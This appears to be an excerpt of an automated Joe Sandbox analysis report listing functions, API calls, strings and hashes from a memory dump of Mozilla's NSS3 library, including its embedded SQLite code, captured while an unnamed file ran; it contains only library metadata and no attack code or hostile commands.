sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA2449C

Strings

database corruption, xrefs: 6CA24490, 6CA244F4, 6CA24599, 6CA24764, 6CA24804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA24452, 6CA24486, 6CA244EA, 6CA24571, 6CA24580, 6CA2458F, 6CA2475A, 6CA247FA
%s at line %d of [%.10s], xrefs: 6CA24495, 6CA244F9, 6CA2459E, 6CA24769, 6CA24809

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 0412eab6ce24e07f1ab1a89b20bdeb811e24d0dec632d25d43c3a4cadbdf60c8
Instruction ID: 55894f896fb13984576cbfdea947bc727538701ab3108a5c8ed5c670c6247382
Opcode Fuzzy Hash: 0412eab6ce24e07f1ab1a89b20bdeb811e24d0dec632d25d43c3a4cadbdf60c8
Instruction Fuzzy Hash: D282AE74A04225CFCB04CF69C580B9EB7B2BF49318F2D8599D805ABB51D739EC86CB91

Function 6CAFAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAFACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CAFACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CAFACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CAFAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CAFADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFADF0

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAFB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAFB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAFB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CAFB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAFB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFB40C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4ba3be511d1eb61e8a947c37e6c1482639ffdcb3955814337868d2b17b27cbfe
Instruction ID: 3fc462456e3e7315c193f81b64d46ce4f6efa31971ca629f1550dd4d21bcd03e
Opcode Fuzzy Hash: 4ba3be511d1eb61e8a947c37e6c1482639ffdcb3955814337868d2b17b27cbfe
Instruction Fuzzy Hash: A722A071904301AFE710CF14DD44B9A77F1AF84308F28862CF9695B791E772E89ACB96

Function 6CA41F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA425F3

Strings

%s.%s, xrefs: 6CA42D68
multiple recursive references: %s, xrefs: 6CA422E0
H, xrefs: 6CA4329F
too many columns in result set, xrefs: 6CA43012
cannot have both ON and USING clauses in the same join, xrefs: 6CA432B5
cannot join using column %s - column not present in both tables, xrefs: 6CA432AB
'%s' is not a function, xrefs: 6CA42FD2
no such table: %s, xrefs: 6CA426AC
%s.%s.%s, xrefs: 6CA4302D
table %s has %d values for %d columns, xrefs: 6CA4316C
a NATURAL join may not have an ON or USING clause, xrefs: 6CA432C1
no such index: "%s", xrefs: 6CA4319D
H, xrefs: 6CA4322D
unsafe use of virtual table "%s", xrefs: 6CA430D1
too many references to "%s": max 65535, xrefs: 6CA42FB6
access to view "%s" prohibited, xrefs: 6CA42F4A
recursive reference in a subquery: %s, xrefs: 6CA422E5
no tables specified, xrefs: 6CA426BE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 70abc6e6a6254eccbecfe8a5c019c5bf9faec6343c0297749fe90dc03143573e
Instruction ID: bb85f49b8c4a30cb187e7a3183092707fadaa94df5a910308f0435145b81434f
Opcode Fuzzy Hash: 70abc6e6a6254eccbecfe8a5c019c5bf9faec6343c0297749fe90dc03143573e
Instruction Fuzzy Hash: A9D27D74E05249CFDB04CF99C484B9DB7B2FF89318F28C269D855ABB51D731A886CB50

Function 6CA7ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA7ED38

Part of subcall function 6CA14F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CA7EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CA7EFE4

Part of subcall function 6CB3DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA15001,?,00000003,00000000), ref: 6CB3DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CA7F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CA7F129
sqlite3_mprintf.NSS3(optimize), ref: 6CA7F1D1
sqlite3_free.NSS3(?), ref: 6CA7F368

Strings

fts3, xrefs: 6CA7F247
snippet, xrefs: 6CA7EF05, 6CA7EF37, 6CA7EF7C
fts4, xrefs: 6CA7F2AD
unicode61, xrefs: 6CA7EDB5
porter, xrefs: 6CA7ED97
fts4aux, xrefs: 6CA7ECF9
offsets, xrefs: 6CA7EFAF, 6CA7EFDF, 6CA7F01F
simple, xrefs: 6CA7ED79
optimize, xrefs: 6CA7F199, 6CA7F1CC, 6CA7F211
fts3tokenize, xrefs: 6CA7F30F
fts3_tokenizer, xrefs: 6CA7EE1A, 6CA7EEA8
matchinfo, xrefs: 6CA7F04F, 6CA7F082, 6CA7F0C2, 6CA7F0F2, 6CA7F124, 6CA7F169

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 2622a1888e423d815c37cd143a381581bd538d014dca2cd8b7dcfea5446c9bc3
Instruction ID: 8cc59f9b9a12b87e3b02f5e5cc9176a356fd10aea54eec8f3c0729303e0fb73a
Opcode Fuzzy Hash: 2622a1888e423d815c37cd143a381581bd538d014dca2cd8b7dcfea5446c9bc3
Instruction Fuzzy Hash: 720204B9B043404BE7149F35AC8573F36B57BC5708F18453CD86997B05EB34EA8987A2

Function 6CAF7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CAF7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAF7D1E

Part of subcall function 6CAF7870: SECOID_FindOID_Util.NSS3(?,?,?,6CAF91C5), ref: 6CAF788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAF7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CAF7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CAF7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAF7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAF7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CAF7E58

Part of subcall function 6CAF7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAF91C5), ref: 6CAF78BB
Part of subcall function 6CAF7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CAF91C5), ref: 6CAF78FA
Part of subcall function 6CAF7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CAF91C5), ref: 6CAF7930
Part of subcall function 6CAF7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAF91C5), ref: 6CAF7951
Part of subcall function 6CAF7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAF7964
Part of subcall function 6CAF7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAF797A
Part of subcall function 6CAF7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CAF7988
Part of subcall function 6CAF7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CAF7998
Part of subcall function 6CAF7870: free.MOZGLUE(00000000), ref: 6CAF79A7
Part of subcall function 6CAF7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CAF91C5), ref: 6CAF79BB
Part of subcall function 6CAF7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CAF91C5), ref: 6CAF79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAF7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAF7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAF7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAF7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAF7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CAF8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAF8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CAF8093
SECOID_FindOID_Util.NSS3 ref: 6CAF7F29

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CAF8072
SECOID_FindOID_Util.NSS3 ref: 6CAF80F5

Part of subcall function 6CAFBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CAF800A,00000000,?,00000000,?), ref: 6CAFBC3F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: a3b525b407667ab2a3788cbc06bcecf977bce8050499d5937a467ac02e0e6d36
Instruction ID: e9bb013648317b19b84b614c132a8a2686dd57818517faf8dbce3061d398bb22
Opcode Fuzzy Hash: a3b525b407667ab2a3788cbc06bcecf977bce8050499d5937a467ac02e0e6d36
Instruction Fuzzy Hash: A8E190716043009FE710CF29D980B5A77E5AF49308F54096DF8A9DBB51E731EC8ACB92

Function 6CA81C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CA81C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CA81C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CA81CA1
GetLengthSid.ADVAPI32(?), ref: 6CA81CA9
malloc.MOZGLUE(00000000), ref: 6CA81CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CA81CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CA81CE4
GetLengthSid.ADVAPI32(?), ref: 6CA81CEC
malloc.MOZGLUE(00000000), ref: 6CA81CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CA81D0F
CloseHandle.KERNEL32(?), ref: 6CA81D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CA81D4D
GetLastError.KERNEL32 ref: 6CA81D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CA81D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CA81D7A

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 41fca7973eb1a2d7c26d8fce3fddb94a5678ccf18d161be3a9fbe7a5a5a651d6
Instruction ID: e16f6399e089c1a832c3e3ff3b87c4ffdb9c786e64baebfc03b65d505f7bcfb6
Opcode Fuzzy Hash: 41fca7973eb1a2d7c26d8fce3fddb94a5678ccf18d161be3a9fbe7a5a5a651d6
Instruction Fuzzy Hash: AD3163B1A00258AFEF50AF64DC49BAA7BB8FF4D744F044069FA0993251EB305994CF65

Function 6CA83D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA83DFB
__allrem.LIBCMT ref: 6CA83EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA83FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA84047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA840DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA8415F
__allrem.LIBCMT ref: 6CA8416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA84288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA842AB
__allrem.LIBCMT ref: 6CA842B7

Strings

%03d, xrefs: 6CA842E8
%04d, xrefs: 6CA8407B
%lld, xrefs: 6CA83FB2
%02d, xrefs: 6CA84086

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 84523dff9b89125c5c25582c9c4c1fc14ffac43b7666175b53cda655b4db94d2
Instruction ID: 3e8de973764888f460460855d8352004490a99017c623655bf3d1aa1de65f00d
Opcode Fuzzy Hash: 84523dff9b89125c5c25582c9c4c1fc14ffac43b7666175b53cda655b4db94d2
Instruction Fuzzy Hash: FFF1FF71A097409FD715CF38C891A6FB7FAEF85304F188A2DF4859B651EB34D8858B82

Function 6CA8EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8EF63

Part of subcall function 6CA987D0: PORT_NewArena_Util.NSS3(00000800,6CA8EF74,00000000), ref: 6CA987E8
Part of subcall function 6CA987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CA8EF74,00000000), ref: 6CA987FD
Part of subcall function 6CA987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA9884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CA8F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CA8F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CA8F374
PL_strcasecmp.NSS3(6CBD2FD4,?), ref: 6CA8F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CA8F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CA8F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA8F67D
CERT_DestroyName.NSS3(?), ref: 6CA8F68B

Part of subcall function 6CA98320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CA98338
Part of subcall function 6CA98320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA98364
Part of subcall function 6CA98320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CA9838E
Part of subcall function 6CA98320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA983A5
Part of subcall function 6CA98320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA983E3

Part of subcall function 6CA984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CA984D9
Part of subcall function 6CA984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA98528

Part of subcall function 6CA98900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CA98955

Strings

*, xrefs: 6CA8F3C6
oid., xrefs: 6CA8F2CF
", xrefs: 6CA8F21B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 7f6e53c317ee6bfcbeb7d3285fdd99d5bceaebeee24d0e5eb520ecec22eb5bf1
Instruction ID: 3e754c145feee37165174e1e3704fd9c1f53b5d57d7a3e9a183baf6d318c5b8d
Opcode Fuzzy Hash: 7f6e53c317ee6bfcbeb7d3285fdd99d5bceaebeee24d0e5eb520ecec22eb5bf1
Instruction Fuzzy Hash: 7222397160E3428FD714CE29CC903AAB7E6ABC5318F18462EE5D587B95E7319CC5C782

Function 6CA31C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA31D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA31EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CA31FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CA31F83
unsupported file format, xrefs: 6CA32188
sqlite_temp_master, xrefs: 6CA31C5C
abort due to ROLLBACK, xrefs: 6CA32223
sqlite_master, xrefs: 6CA31C61
attached databases must use the same text encoding as main database, xrefs: 6CA320CA
unknown error, xrefs: 6CA32291
no more rows available, xrefs: 6CA32264
table, xrefs: 6CA31C8B
another row available, xrefs: 6CA32287

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 515739adcc8f81f564146a2f63253391cdba993ed12341a4d7719eac1dd2bd7c
Instruction ID: 1636e19282e1bd24aff133de4894112b054808cc300df788f50f16b8fd2eb78e
Opcode Fuzzy Hash: 515739adcc8f81f564146a2f63253391cdba993ed12341a4d7719eac1dd2bd7c
Instruction Fuzzy Hash: E612C3706083518FD705CF15C4A466AB7F2BF85318F18966DE989CBB52D731EC89CB82

Function 6CA55F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6CA562F9
-, xrefs: 6CA56228
sub-select returns %d columns - expected %d, xrefs: 6CA5805F
BINARY, xrefs: 6CA58708, 6CA58737, 6CA587B8
NOCASE, xrefs: 6CA58703
u, xrefs: 6CA581DA
2, xrefs: 6CA565B4
ON clause references tables to its right, xrefs: 6CA56BEC

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 411ae7f93ce65cd188636e882c18428ac1823dca8159839c34888f34ff6cf085
Instruction ID: c12db0c6a25c7b6110e1d932cd065ba4cf5b734eefaa27acd08fafa21cfdfe7d
Opcode Fuzzy Hash: 411ae7f93ce65cd188636e882c18428ac1823dca8159839c34888f34ff6cf085
Instruction Fuzzy Hash: A543A274A183418FD304CF19C490B5AB7F2BF89318F58C66DE8999B752D731E896CB82

Function 6CAFEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAFDAE2,?), ref: 6CAFC6C2

